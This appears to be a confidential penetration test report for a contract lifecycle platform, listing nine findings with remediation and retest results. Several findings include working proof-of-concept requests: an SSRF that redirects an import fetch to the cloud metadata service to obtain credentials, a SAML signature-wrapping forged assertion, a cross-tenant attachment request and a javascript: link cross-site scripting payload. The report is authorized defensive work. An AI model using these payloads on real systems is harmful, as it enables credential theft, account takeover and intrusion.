PREPARED FOR

Corbelline

Contract Lifecycle Platform · Application and API Penetration Test

Engagement	Corbelline Q4 2026 penetration test
Report date	20 November 2026
Testing window	2 to 13 November 2026
Methodology	OWASP WSTG v4.2 · PTES · CVSS v3.1
Tested by	Elena Marsh, Theo Lindqvist · Vantmere Security
Approved by	Ruth Okafor, Head of Delivery
Report version	v1.1
Report ID	VMS-PT-2026-031
Classification	Confidential

Document confidentiality

This document is confidential. It is intended solely for Corbelline, Inc. and may not be copied, published or shared, in whole or in part, without the written consent of Corbelline and Vantmere Security.

Authorization

Corbelline authorized this assessment in a signed statement of work. Testing took place from 2 November to 13 November 2026, against the assets listed in Appendix A and within the agreed rules of engagement.

DOCUMENT CONTROL

Document history

Each version issued to the client, in order of issue, with a summary of its changes.

Versions

Version	Issued	Summary of changes
v0.9	16 November 2026	Draft issued to the Corbelline security team for factual review.
v1.0	17 November 2026	Final report issued. Factual corrections to CBL-05 and Appendix A.
v1.1	20 November 2026	Retest of CBL-01 and CBL-02 on 19 November: both remediated. Risk acceptance of CBL-06 recorded.

Distribution

Name	Role	Organization	Email
Dana Whitcombe	Chief Information Security Officer	Corbelline	d.whitcombe@corbelline.example
Marcus Iyer	VP Engineering	Corbelline	m.iyer@corbelline.example
Elena Marsh	Lead Consultant	Vantmere Security	e.marsh@vantmere.example
Ruth Okafor	Head of Delivery	Vantmere Security	r.okafor@vantmere.example

This report is shared only with the people above. Further distribution needs the consent of both parties.

REPORT

Contents

01	Executive summary	4
	Scope	4
	Findings overview	4
02	Key themes and recommendations	5
03	Threat ranking methodology	6
04	Findings summary	7
A	Appendix A · Assessment scope	8
B	Appendix B · Testing methodology	9
C	Appendix C · Findings detail	10

SECTION 01

Executive summary

Summary

Vantmere Security performed a gray box penetration test of the Corbelline contract lifecycle platform: the web application, the public REST API, the e-signature portal and the webhook ingress, with source code access to the import and authentication services. Testing used tenants provisioned for the engagement and followed the OWASP Web Security Testing Guide.

The most severe finding, a server-side request forgery in the contract import (CBL-01), let any trial account obtain credentials to the document store of every tenant. Vantmere reported it on the second day of testing. Corbelline fixed it and the cross-tenant attachment access (CBL-02) within the engagement, and both fixes passed the retest on 19 November.

Two findings remain open and need a fix before the next release: SAML sign-in reads an assertion that its signature does not cover (CBL-03), and clause comments render script links (CBL-04). The other findings are hardening items.

Scope

The objective was to find any path from an outside user, or from one customer, to another customer's contracts. Testing covered four production hosts from two source addresses, with two tenants per role and one SSO-enabled tenant. Denial of service, social engineering, the corporate network and the customers' identity providers were out of scope. Appendix A lists the assets, the accounts and the rules of engagement.

Findings overview

9 confirmed findings



Critical	High	Medium	Low	Informational
1	2	3	2	1

2 remediated and verified, **1** accepted with compensating controls, **6** in remediation.

SECTION 02

Key themes and recommendations

Server-side fetches and object lookups trust the caller

The import worker fetches any address a user supplies, including the cloud metadata service (CBL-01), and the attachment endpoints load an object by its identifier without checking the tenant that owns it (CBL-02). Both fixes landed during the engagement, but the pattern is a design habit: authorization and destination checks sit in the route handlers, one handler at a time.

Recommendation

Move tenant scoping into the data access layer so that no query runs without the caller's tenant, and route every outbound fetch through an egress proxy that reaches the internet only.

Federated sign-in accepts what it has not verified

The SAML consumer verifies a signature, then reads the user from a different element (CBL-03). Sessions have no server-side record, so a password change or a sign-out does not end them (CBL-06). Together, an account taken over through SSO stays taken over until its token expires.

Recommendation

Read identity only from the signed assertion, reject responses with more than one assertion, and keep a server-side session record that password changes, role changes and administrators can revoke.

Content from counterparties reaches browsers and spreadsheets as written

Guest counterparties can post comments whose links run script in the reviewer's session (CBL-04) and set values that become formulas in the CSV export (CBL-05). The Content Security Policy allows inline scripts, so it does not stop the first case (CBL-09).

Recommendation

Treat guest input as untrusted at every output: drop 'unsafe-inline' from the script policy, allow-list link schemes, and neutralize formula prefixes in exports.

SECTION 03

Threat ranking methodology

Vantmere rates every confirmed finding with the CVSS v3.1 base score. The score sets the severity, and the severity sets the target remediation time agreed with the client.

Severity scale

Severity	CVSS v3.1 score	Description	Target fix
Critical	9.0 to 10.0	Exploitable remotely with little or no precondition, with impact beyond the affected component. Fix immediately.	7 days
High	7.0 to 8.9	Serious impact on confidentiality or integrity, exploitable by an authenticated user or with realistic effort.	30 days
Medium	4.0 to 6.9	Real but limited impact, or significant preconditions such as user interaction.	90 days
Low	0.1 to 3.9	Minor impact or demanding preconditions. Fix alongside related work.	180 days
Info	Not scored	No direct exploit: a hardening or defense-in-depth observation.	Next review

Target times start on the day a finding is reported. When the realistic risk differs from the base score, the finding detail explains why under Severity considerations.

SECTION 04

Findings summary

Every confirmed finding, ordered by severity, then by ID. Appendix C details each one with its evidence and remediation.

All findings

ID	Severity	Finding	CWE	CVSS	Status
CBL-01	Critical	Contract import from a URL gives any user the credentials of the shared document store	CWE-918	9.6	Remediated
CBL-02	High	Attachment endpoints accept attachment identifiers of other tenants	CWE-639	8.1	Remediated
CBL-03	High	SAML sign-in reads an unsigned assertion placed next to a signed one	CWE-347	7.4	Open
CBL-04	Medium	Clause comments render javascript: links in the reviewer's session	CWE-79	5.4	Open
CBL-05	Medium	Contract register export writes counterparty values as spreadsheet formulas	CWE-1236	5.4	Open
CBL-06	Medium	Sessions stay valid after a password change or logout	CWE-613	4.8	Risk accepted
CBL-07	Low	The signing portal does not send an HSTS header	CWE-319	3.1	Open
CBL-08	Low	The webhook ingress accepts TLS 1.0 and TLS 1.1	CWE-327	3.7	Open
CBL-09	Info	The Content Security Policy allows inline scripts	CWE-693	n/a	Open

APPENDIX A

Assessment scope

The assets, accounts and rules agreed in the statement of work. Every test ran from the source addresses below.

In-scope assets

Asset	Type	Environment	Address
app.corbelline.example	Web application	Production	198.51.100.25
api.corbelline.example	REST API v2, 148 endpoints	Production	198.51.100.24
sign.corbelline.example	E-signature portal	Production	198.51.100.27
hooks.corbelline.example	Webhook ingress	Production	198.51.100.31
services/import, services/auth	Source code, read only	Commit 4f2c9e1	Repository snapshot

Test accounts

Tenant	Roles	Purpose
tenant-a	Admin, Editor, Viewer	Primary tenant
tenant-b	Admin, Editor, Viewer	Cross-tenant checks
tenant-c	Admin, Editor, Guest	SAML SSO and guest negotiation

Rules of engagement

Testing window	2 to 13 November 2026, 08:00 to 20:00 Pacific Time
Source addresses	192.0.2.44 and 192.0.2.45
Critical findings	Reported to the client within 24 hours, by phone and email
Escalation contact	Corbelline security on call, +1 (415) 555-0142
Data handling	Evidence stored encrypted, deleted 90 days after the final report

Out of scope

- Denial of service, load testing and social engineering of Corbelline staff or customers.
- Corporate network, laptops and internal tools.
- Customers' identity providers and third-party integrations, beyond the webhook ingress.
- Customer tenants: only the tenants provisioned for the test were accessed.

APPENDIX B

Testing methodology

The test followed the phases of the Penetration Testing Execution Standard (PTES), with test cases from the OWASP Web Security Testing Guide.

Phases

Phase	Activities	Reference
Reconnaissance and mapping	Hosts, endpoints, roles and data flows; API schema review	WSTG-INFO
Configuration and transport	TLS, security headers, error handling, exposed services	WSTG-CONF WSTG-CRYP WSTG-ERRH
Identity and sessions	Sign-up, password reset, MFA, SAML SSO, session lifecycle	WSTG-IDNT WSTG-ATHN WSTG-SESS
Authorization	Every API endpoint replayed across roles and across tenants	WSTG-ATHZ
Input handling	Injection, server-side requests, file import, exports	WSTG-INPV
Business logic and client side	Approval and signature workflows, comments, browser defenses	WSTG-BUSL WSTG-CLNT
Reporting and retest	Severity rating, peer review, fix verification	CVSS v3.1

Evidence and scoring

Every finding in this report was confirmed with a working proof of concept against the test tenants. Impact beyond the proof of concept is stated as an inference and marked as such. No customer object was opened, modified or deleted.

Scores follow CVSS v3.1 base metrics, rated on the vulnerable component as deployed. Environmental metrics were not applied: Corbelline can adjust them to its own asset values.

Limitations

The test was time-boxed to ten working days. Mobile applications, the billing provider and the analytics pipeline were not tested. A gray box test does not guarantee that no other vulnerability exists.

APPENDIX C

Findings detail

CBL-01

Critical

Remediated

Contract import from a URL gives any user the credentials of the shared document store

9.6

CVSS v3.1 base score

Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Category	Server-Side Request Forgery
CWE	CWE-918
OWASP	A01:2025 Broken Access Control
Affected	api.corbelline.example · POST /v2/imports
Reported	3 November 2026

Description

The Import from link feature fetches a document from a URL on the server. The import worker sends the request from inside the production network and follows redirects without checking where they lead, so a link that redirects to the instance metadata service at 169.254.169.254 is fetched like any other. The response becomes the imported document, and the caller reads the worker's temporary credentials in the contract preview.

Root cause analysis

The URL check rejects other schemes and literal private addresses, but only on the hostname as typed; the HTTP client then follows up to five redirects unchecked. The worker's instance role can read and write every tenant's documents, and its metadata service answers version 1 requests, which need no session token.

services/import/src/fetch-remote.ts

```
export async function fetchRemote(url: string) {
  const u = new URL(url);
  if (!['http:', 'https:'].includes(u.protocol)) throw new ImportError('scheme');
  if (isPrivateIp(u.hostname)) throw new ImportError('private address');
  // the hostname is checked as text; the client follows redirects unchecked
  return httpClient.get(u.href, { maxRedirects: 5, timeout: 15000 });
}
```

Impact

> **Any authenticated user, including a free trial account, can obtain credentials that read and overwrite the contracts of every Corbelline customer.**
>
> The credentials last six hours and renew with each import. Scope is Changed because the document store sits behind a separate authority, the cloud access policy. Vantmere listed the bucket once, then stopped: write access is inferred from the role policy.

Attack scenario

Step 1 **Create a trial account**

Self-service sign-up gives an Editor role on a new tenant in under a minute.

Step 2 **Import a redirecting link twice**

The first import returns the worker's role name, the second its keys and session token, which read or replace any object in the document bucket (not performed beyond a listing).

Proof of concept

The tester's host 192.0.2.44 answers /c.pdf with a 302 to the credentials path of the metadata service, and /c2.pdf with a 302 to the role found by the first import.

● **Captured HTTP transcript** cbl-01-import.txt · text/plain · 2.1 KB

Request

```
POST /v2/imports HTTP/1.1
Host: api.corbelline.example
Authorization: Bearer [tenant-b editor token, redacted]

{"source":"url","url":"http://192.0.2.44/c.pdf"}
```

Response

```
HTTP/1.1 201 Created
{"importId":"imp_51f0e2","status":"done","preview":"import-worker"}
```

Request

```
POST /v2/imports HTTP/1.1
{"source":"url","url":"http://192.0.2.44/c2.pdf"}
```

Response

```
HTTP/1.1 201 Created
{"importId":"imp_51f0e9","status":"done","preview":"{\"Code\":\"Success\",
 \"AccessKeyId\":\"[REDACTED]\",\"SecretAccessKey\":\"[REDACTED]\",
 \"Token\":\"[REDACTED]\",\"Expiration\":\"2026-11-03T21:42:09Z\"}"}
```

Exhibit C.1. Two imports return the role name, then its temporary credentials.

Remediation

- Resolve the hostname once, reject loopback, private, link-local and multicast ranges on the resolved address, and connect to that address, on every redirect hop.
- Send import fetches through an egress proxy that reaches the internet only, never the internal network or the metadata service.
- Require version 2 session tokens with a hop limit of 1 on the metadata service, and limit the worker role to a staging prefix.

Retest

Remediated and verified on 19 November 2026. The service now pins the resolved address on each hop and fetches through an egress proxy; attempts to 169.254.169.254, 10.0.0.0/8 and ::1 return HTTP 422, and the workers refuse version 1 metadata requests.

APPENDIX C · FINDINGS DETAIL

CBL-02

High

Remediated

Attachment endpoints accept attachment identifiers of other tenants

8.1

CVSS v3.1 base score

Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Category	Broken Object Level Authorization
CWE	CWE-639
OWASP	A01:2025 Broken Access Control
Affected	api.corbelline.example · /v2/contracts/{id}/attachments/{attachmentId}
Reported	5 November 2026

Description

GET and PUT on an attachment check that the caller can open the contract in the path, then load the attachment by its own identifier alone. An Editor can pair a contract of their own tenant with another tenant's attachment identifier, such as att_1048213, to download or replace that file. Identifiers are sequential, so they can be enumerated.

Impact

> **An Editor of any tenant can read and silently replace the exhibits, amendments and signed copies attached to other customers' contracts.**
>
> Nothing appears in the victim tenant's audit log: the write is attributed to the attacker's tenant.

Proof of concept

Request: a tenant-b contract with a tenant-a attachment

```
GET /v2/contracts/ctr_5512/attachments/att_1048213 HTTP/1.1
Host: api.corbelline.example
Authorization: Bearer [tenant-b editor token, redacted]
```

Response

```
HTTP/1.1 200 OK
Content-Type: application/pdf
Content-Disposition: attachment; filename="tenant-a-test-msa-signed.pdf"
```

Remediation

- Load attachments through the parent contract and the caller's tenant, never by identifier alone.
- Use random identifiers (UUID v4) for every object in the API, and add an authorization test per endpoint that replays each request with a second tenant's objects.

Retest

Remediated and verified on 19 November 2026: mixed contract and attachment pairs return HTTP 404 on GET and PUT, and new attachments get UUID identifiers.

APPENDIX C · FINDINGS DETAIL

CBL-03

High

Open

SAML sign-in reads an unsigned assertion placed next to a signed one

7.4

CVSS v3.1 base score

Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Category	Authentication Bypass
CWE	CWE-347
OWASP	A07:2025 Authentication Failures
Affected	app.corbelline.example · POST /sso/saml/acs
Reported	9 November 2026

Description

Enterprise workspaces sign in through their own identity provider with SAML 2.0. The assertion consumer service checks that the response carries a valid signature, then reads the user from the first Assertion element in the document.

A member who holds any signed response from the workspace's identity provider can insert an unsigned assertion naming another member before the signed one. The signature still verifies, because it covers the original element, and the service opens a session for the member named in the inserted assertion. This attack is known as XML signature wrapping.

Root cause analysis

Verification and extraction use two different lookups. The verifier follows the Reference URI of the signature; the extractor takes the first Assertion in document order.

services/auth/src/saml/acs.ts

```
const doc = parseXml(form.SAMLResponse);
if (!verifySignature(doc, ws.idpCert)) throw new AuthError('signature');
// the first Assertion in the document, signed or not
const assertion = doc.getElementsByTagNameNS(SAML_NS, 'Assertion')[0];
return createSession(ws, readNameId(assertion));
```

The verification helper returns true when one signature in the document is valid. It does not report which element that signature covers.

Impact

> **Any member of an SSO workspace can sign in as any other member of that workspace, including its administrators.**
>
> Administrators can export every contract, change the identity provider settings and create API keys, so one takeover extends to the whole workspace.

The attack does not cross tenants: each workspace pins its own identity provider certificate, so a response signed for one workspace is rejected by the others.

Severity considerations

AC:H because the attacker needs a signed response from the workspace's identity provider, which takes an account there, and must replay it inside the assertion validity window. PR:N because no Corbelline privilege is needed to post to the endpoint. Confidentiality and Integrity are High through the administrator session.

Proof of concept

Modified SAMLResponse, abridged

```
<samlp:Response ID="_r81c" ...>
 <saml:Assertion ID="_forged">           <!-- unsigned, read first -->
  <saml:Subject><saml:NameID>admin.c@tenant-c.example</saml:NameID>
 </saml:Assertion>
 <saml:Assertion ID="_a42f">             <!-- original, signed -->
  <ds:Signature>...<ds:Reference URI="#_a42f"/>...</ds:Signature>
  <saml:Subject><saml:NameID>editor.c@tenant-c.example</saml:NameID>
 </saml:Assertion>
</samlp:Response>
```

● **Captured HTTP transcript** `cbl-03-acs-replay.txt · text/plain · 3.4 KB`

Request

```
POST /sso/saml/acs HTTP/1.1
Host: app.corbelline.example
Content-Type: application/x-www-form-urlencoded

SAMLResponse=PHNhbWxwOlJlc3BvbnNl...[6.1 KB, abridged]&RelayState=%2Fhome
```

Response

```
HTTP/1.1 302 Found
Location: /home
Set-Cookie: cbl_session=[REDACTED]; Secure; HttpOnly; SameSite=Lax
```

Request

```
GET /v2/me HTTP/1.1
Host: app.corbelline.example
```

Response

```
HTTP/1.1 200 OK
{"email":"admin.c@tenant-c.example","role":"Admin","workspace":"tenant-c"}
```

Exhibit C.2. The replayed response opens an administrator session.

Remediation

- Read the user only from the element the verified signature references: take the ID from its Reference and select the Assertion with that ID.
- Reject responses with more than one Assertion, and validate each response against the SAML schema before use.
- Require signed assertions, not only signed responses, and record assertion IDs to refuse replays.

APPENDIX C · FINDINGS DETAIL

CBL-04

Medium

Open

Clause comments render javascript: links in the reviewer's session

5.4

CVSS v3.1 base score

Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Category	Stored Cross-Site Scripting
CWE	CWE-79
OWASP	A05:2025 Injection
Affected	app.corbelline.example · Negotiation view, clause comments
Reported	6 November 2026

Description

Reviewers and counterparties discuss clauses in comments that support inline Markdown. The renderer escapes HTML but copies link targets into href unfiltered, so a javascript: URL runs in the reviewer's session when they click it. Counterparties post through a guest link, from outside the customer's organization.

Impact

> **A guest counterparty can run script with the rights of the customer's legal reviewer.**
>
> The cookie is HttpOnly, but the script acts as the reviewer: it can approve a clause, change a value or download the contract. UI:R because the reviewer must click; Scope Changed because the script runs in the browser.

Proof of concept

Captured HTTP transcript cbl-04-comment.txt · text/plain · 0.9 KB

Request

```
POST /v2/guest/negotiations/ng_7Qx2/comments HTTP/1.1
Host: api.corbelline.example

{"clauseId":"cl_0912",
 "body":"[See revised terms](javascript:alert(document.domain))"}
```

Response

```
HTTP/1.1 201 Created
```

Rendered in the reviewer's view

```
<a href="javascript:alert(document.domain)">See revised terms</a>
```

Exhibit C.3. A guest posts the comment; the reviewer's view renders the link as is.

Remediation

- Allow only https: and mailto: link targets, checked after decoding, in the sanitizer configuration.
- Show guest links as plain text until approved, and remove 'unsafe-inline' (CBL-09).

APPENDIX C · FINDINGS DETAIL

CBL-05

Medium

Open

Contract register export writes counterparty values as spreadsheet formulas

5.4

CVSS v3.1 base score

Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Category	CSV Injection
CWE	CWE-1236
OWASP	A05:2025 Injection
Affected	app.corbelline.example · Reports, Export register (CSV)
Reported	10 November 2026

Description

Counterparty names and custom field values are written to the CSV export as entered. A value that starts with =, +, - or @ is read as a formula when the file opens in a spreadsheet application, and counterparties set their own company name in the guest profile.

Impact

A value chosen by a counterparty can run a formula on the computer of the employee who opens the export.

A formula can send cell contents to an external server or start a command. Current spreadsheet applications warn first, so the victim must confirm the prompt.

Remediation

- Prefix with a single quote every cell that starts with =, +, -, @, a tab or a carriage return, and quote every field.
- Offer the register as an XLSX file with values written as text cells.

APPENDIX C · FINDINGS DETAIL

CBL-06

Medium

Risk accepted

Sessions stay valid after a password change or logout

4.8

CVSS v3.1 base score

Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Category	Session Management
CWE	CWE-613
OWASP	A07:2025 Authentication Failures
Affected	app.corbelline.example · api.corbelline.example
Reported	10 November 2026

Description

Sessions are signed tokens with an eight-hour lifetime and no server-side record. Logging out deletes the cookie in the browser only, and a password change leaves the tokens already issued valid, so a stolen token works until it expires. AC:H because the attacker must first obtain a token outside the application.

Remediation

- Keep a server-side session identifier or a per-user token version, checked on each request.
- Revoke every session of a user on password change, role change and sign-out, and give administrators a revoke control.

Risk acceptance

Accepted by Corbelline's CISO on 18 November 2026 until 31 March 2027, with compensating controls: idle timeout reduced to 30 minutes, token lifetime reduced to four hours, and an alert when one token is used from two countries.

APPENDIX C · FINDINGS DETAIL

CBL-07

Low

Open

The signing portal does not send an HSTS header

3.1

CVSS v3.1 base score

Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

Category	Transport Security
CWE	CWE-319
OWASP	A04:2025 Cryptographic Failures
Affected	sign.corbelline.example
Reported	4 November 2026

Description

The e-signature portal answers on port 80 with a redirect to HTTPS, but sends no HSTS header: it is static content behind its own load balancer, and the header that app.corbelline.example sends covers that host's subdomains only. A signer who types the address, or follows an old http:// link, sends the first request in clear text.

Impact

On a hostile network, an attacker can keep a signer on plain HTTP and read the document behind the signing link.

An attacker running a rogue access point waits for a request over plain HTTP, strips the redirect and reads the token in the URL. Applying a signature also requires the one-time code sent by email, so only the preview is exposed. AC:H for the network position, UI:R because the signer opens the link.

Proof of concept

Captured response headers cbl-07-headers.txt · text/plain · 0.6 KB

Command

```
$ curl -s -I http://sign.corbelline.example/s/demo
HTTP/1.1 301 Moved Permanently
Location: https://sign.corbelline.example/s/demo
```

Command

```
$ curl -s -I https://sign.corbelline.example/s/demo | grep -ci strict-transport
0
```

Exhibit C.4. The portal redirects to HTTPS but never sets HSTS.

Remediation

- Send Strict-Transport-Security: max-age=31536000; includeSubDomains from the signing portal's load balancer.
- Once every corbelline.example host serves HTTPS only, set the header on the apex domain with includeSubDomains, and expire signing links after first use.

APPENDIX C · FINDINGS DETAIL

CBL-08

Low

Open

The webhook ingress accepts TLS 1.0 and TLS 1.1

3.7

CVSS v3.1 base score

Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Category	Transport Security
CWE	CWE-327
OWASP	A04:2025 Cryptographic Failures
Affected	hooks.corbelline.example:443 · 198.51.100.31
Reported	4 November 2026

Description

The endpoint that receives integration events negotiates TLS 1.0 and TLS 1.1 with CBC cipher suites, in addition to TLS 1.2 and 1.3. RFC 8996 deprecates both versions. Exploiting their weaknesses takes a man-in-the-middle position and a client that still offers them, hence AC:H.

Remediation

- Disable TLS 1.0, TLS 1.1 and the CBC suites on the ingress listener; keep TLS 1.2 with AEAD suites, and TLS 1.3.
- Tell integration partners before the change, then monitor handshake failures.

APPENDIX C · FINDINGS DETAIL

CBL-09

Info

Open

The Content Security Policy allows inline scripts

n/a

CVSS v3.1 base score

Vector

Not scored

Category	Defense in Depth
CWE	CWE-693
OWASP	A02:2025 Security Misconfiguration
Affected	app.corbelline.example
Reported	6 November 2026

Description

The policy sets script-src 'self' 'unsafe-inline' https://cdn.corbelline.example. 'unsafe-inline' lets inline scripts and javascript: URLs run, which removes the protection the policy gives against cross-site scripting such as CBL-04.

Remediation

- Remove 'unsafe-inline' once inline scripts are moved to files or carry a nonce, after a trial of the stricter policy in report-only mode.